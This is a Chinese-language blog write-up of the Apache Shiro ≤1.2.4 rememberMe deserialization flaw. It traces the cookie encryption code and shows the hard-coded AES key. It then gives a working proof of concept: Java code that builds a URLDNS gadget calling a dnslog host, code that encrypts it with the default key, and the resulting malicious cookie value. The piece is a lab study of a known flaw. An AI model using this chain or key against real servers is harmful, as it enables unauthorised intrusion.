初探shiro反序列化

GTL-JU Lv3

一、关于shiro

shiro是一种开源的java安全框架。它提供了身份验证(Authentication)、授权(Authorization)、加密(Cryptography)和会话管理(Session Management)等安全功能,用于保护Web应用程序和非Web应用程序中的安全性。可运行在web应用和非web应用中。使用Shiro框架可以使应用程序的安全性得到提高,同时也可以使开发者更加方便地进行身份验证、授权和会话管理等操作,减少了开发的复杂度和工作量。

二、环境搭建

github有可以直接利用的环境

我们这里直接从github导入就行了

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

导入项目,然后配置Tomcat环境

image-20230912201106389

shiro为了保持用户登录状态提供了一个rememberme选项

当我们勾选了这个选项会在cookie中生成一个字符串用户保存用户的登录状态

从而使用户再访问时不用再次登录

image-20230912201253811

三、漏洞分析

加密流程分析

生成字段的位置在org.apache.shiro.mgt.DefaultSecurityManager#login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Subject login(Subject subject, AuthenticationToken token) throws AuthenticationException {
AuthenticationInfo info;
try {
info = authenticate(token);
} catch (AuthenticationException ae) {
try {
onFailedLogin(token, ae, subject);
} catch (Exception e) {
if (log.isInfoEnabled()) {
log.info("onFailedLogin method threw an " +
"exception. Logging and propagating original AuthenticationException.", e);
}
}
throw ae; //propagate
}

Subject loggedIn = createSubject(token, info, subject);

onSuccessfulLogin(token, info, loggedIn);

return loggedIn;
}

这段代码主要实现了用户的验证和认证

在认证成功后会进入 onSuccessfulLogin()方法

跟进 onSuccessfulLogin()方法

image-20230912183417105

继续跟进到rememberMeSuccessfulLogin方法

image-20230912183508511

我们这里在RememberMeManager rmm = getRememberMeManager();处打上断点

然后打开调试模式,然后进行登录并勾选remember选项

image-20230912183639612

然后我们的代码会直接跳到我们打断点的地方

我们打断的的地方其实就是获取remeber这个对象

然后会根据是否获取到来判读我们是否勾选了remeber选项

勾选了remeber选项这里就会对获取到的对象调用onSuccessfulLogin方法

跟进到onSuccessfulLogin方法

image-20230912184232532

我们跟进到onSuccessfulLogin方法发现这里调用了forgetIdentity方法对subject进行处理,这里的subject对象表示单个用户的状态和安全操作,包含认证、授权等。

继续跟进到forgetIdentity方法

image-20230912184552958

然后继续跟进

image-20230912184640754

这里的forgetIdentity的作用是清除上次的cookie里认证值,然后又调用了removeFrom方法

我们这里跟进这个方法,分析一下这个方法做了些什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = getName();
String value = DELETED_COOKIE_VALUE;
String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
String domain = getDomain();
String path = calculatePath(request);
int maxAge = 0; //always zero for deletion
int version = getVersion();
boolean secure = isSecure();
boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all

addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);

log.trace("Removed '{}' cookie by setting maxAge=0", name);
}

这里removeFrom主要是在set-cookie中添加了一个rememberMe=deleteMe

通过上面的分析我们可以知道forgetIdentity最终主要实现了消除上次登录cookie里的认证值,然后在cookie中添加rememberMe字段

那我们跳回到onSuccessfulLogin方法

然后isRememberMe(token)会判断我们是否设置了rememberMe字段

设置会进入到

1
rememberIdentity(subject, token, info);

我们这里继续跟进到rememberIdentity方法

image-20230912185544630

这里使用 getIdentityToRemember 方法从 subjectauthcInfo 参数中获取身份信息并将其存储在 principals 中。

继续跟进到rememberIdentity

image-20230912190556104

这里的accountPrincipals就是我们上面存储的身份信息

这里调用convertPrincipalsToBytes方法对我们存储的身份信息进行处理

继续跟进到convertPrincipalsToBytes方法

image-20230912190918509

在这个方法中调用serialize方法对存储的身份信息进行了序列化

我们跟进到序列化方法

image-20230912191638110

到这里就可以很明显的看懂对用户名进行了序列化

我们继续回到convertPrincipalsToBytes方法

在上面对用户进行序列化处理后转化为字节数组

然后会调用encrypt对字节数组进行加密

image-20230912191745733

我们跟进到这个用于加密的方法 encrypt

image-20230912192109930

这里是对字符数组进行加密的具体实现

我们根据调试信息可以看到加密算法为AES,模式为CBC,填充算法为PKCS5Padding。

image-20230912192040778

这里的算法是AES,这里的getEncryptionCipherKey就是获得默认密钥进行加密的

image-20230912192702539

1
kPH+bIxk5D2deZiIxcaaaA==就是加密用的固定密钥

加密完成后,这里跳回到rememberIdentity

image-20230912192802719

跟进到rememberSerializedIdentity方法

image-20230912192939517

在这里会对加密后的字节数组进行base64编码,然后会将生成的字符串保存在cookie中。

image-20230912193344403

也就是我们cookie中rememberMe的值

那么通过上面的分析我们知道加密的过程大概就是序列化,然后进行AES加密,最后进行base64编码

那么解密的过程就和上面大概反过来

解密流程分析

对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现

我们这里直接在getRememberedPrincipals方法打断点

image-20230912194036579

我们这里跟进到getRememberedSerializedIdentity方法

image-20230912194319354

可以看到这里getRememberedSerializedIdentity对返回cookie中rememberMe的base64解码处理。

然后调用convertBytesToPrincipals方法对解码后的字节处理

我们这里跟进去分析一下

image-20230912194537446

这里调用decrypt对字节进行解密处理

然后回到convertBytesToPrincipals

对解密后的字节调用deserialize处理

image-20230912195200809

这里调用了readObject方法对字节进行反序列化

这也是我们漏洞的所在,因为通过我们上面的分析,我们知道对序列化后的字节数组的加密使用的是aes加密,aes使用的默认的固定密钥加密,那我们只需要将我们的反序列化攻击链通过aes进行加密,然后把cookie中的remember的值给替换掉,在进行到上面这一步进行反序列化的时候就会造成反序列化的利用。

产生这个漏洞的最主要原因就是因为固定key,导致攻击者可以替换掉这个rememberme字段的值为自己的攻击链,造成反序列化漏洞利用。

四、漏洞利用

在上面我们分析了shiro框架rememberme字段的加密和解密流程,然后对shiro反序列化漏洞的原因进行了分析

那么我们这里尝试通过URLDNS利用链对这个反序列化漏洞进行验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;


public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://k9ddxg.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123); // 设置hashcode的值为-1的其他任何数字
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发

try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch (Exception e){
e.printStackTrace();
}

}

}

这里先使用URLDNS利用链生成一个利用payload,这里的url是在DNSlog生成的

然后通过AES加密脚本进行固定key加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test{
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://urldns.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
1
HWChkU+6Uq102u6EwcmZwsXxpbfwTHYkfuRtp3s0xdfyYe3IVH/SV+937NDpl/PnifK3LrVG+dz4lhEgAiySHCi8zN4Ak7gD9JzMVqDhvUmgwy2nI6iEe2ayMsqNcyCUVjVlmX3cYLRLvGx+WjoCa7PQ5fPhjLMvTx7nr4hYv1UsWtIlRX5vLc0ywGvBPuc4ifnOI1CnSJd7QPBTv5PGkbWKlPySpQXKxcLPtr7EKpz+rvetwM70oRKISG1IBx4j/wRv6BOT6M40fMLBBLxXHf1NUgPYKnRyurTW4zAw0Qat0VUlRXpoO9NcMGYUmHqkrNuqP9bFpF4TJQUIoQD+OoznEpGXcBHvcfuVho7NUkAFt+emJwYiJXG7UGS8q6Lo7BkBvSQZPNBTfC89wRf/KE1u67LOY/IQIYlEdm9Ir7Mqd0uHfUuwdBTE8D1Y2GgXG7kiWVPNqWIjkS9XX015yA==

启动环境抓包

image-20230912200050878

将生成的rememberMe字段的值替换成我们攻击payload

image-20230912200144016

image-20230912200157142

然后我们在DNSLOG页面可以看到地址被成功解析了,说明这里存在反序列化漏洞,反序列化利于成功了。

五、总结

其实通过上面的分析,我们已经能够理解尝试shiro反序列化的原因是因为固定key加密。反过来我们要想要对这个漏洞进行利用,需要知道key才行。

Shiro≤1.2.4中默认密钥为kPH+bIxk5D2deZiIxcaaaA==。官方针对这个漏洞的修复方式是去掉了默认的Key,生成随机的Key。

我们上面只是通过URLDNS利用链对shiro反序列化这个漏洞进行了验证,但是并没有造成什么实质性的利用,后面将学习shiro配合我们前面学习CC链进行攻击利用。

  • 标题: 初探shiro反序列化
  • 作者: GTL-JU
  • 创建于: 2023-09-12 20:14:06
  • 更新于: 2023-09-12 20:15:46
  • 链接: https://gtl-ju.github.io/2023/09/12/shiro反序列化初探/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。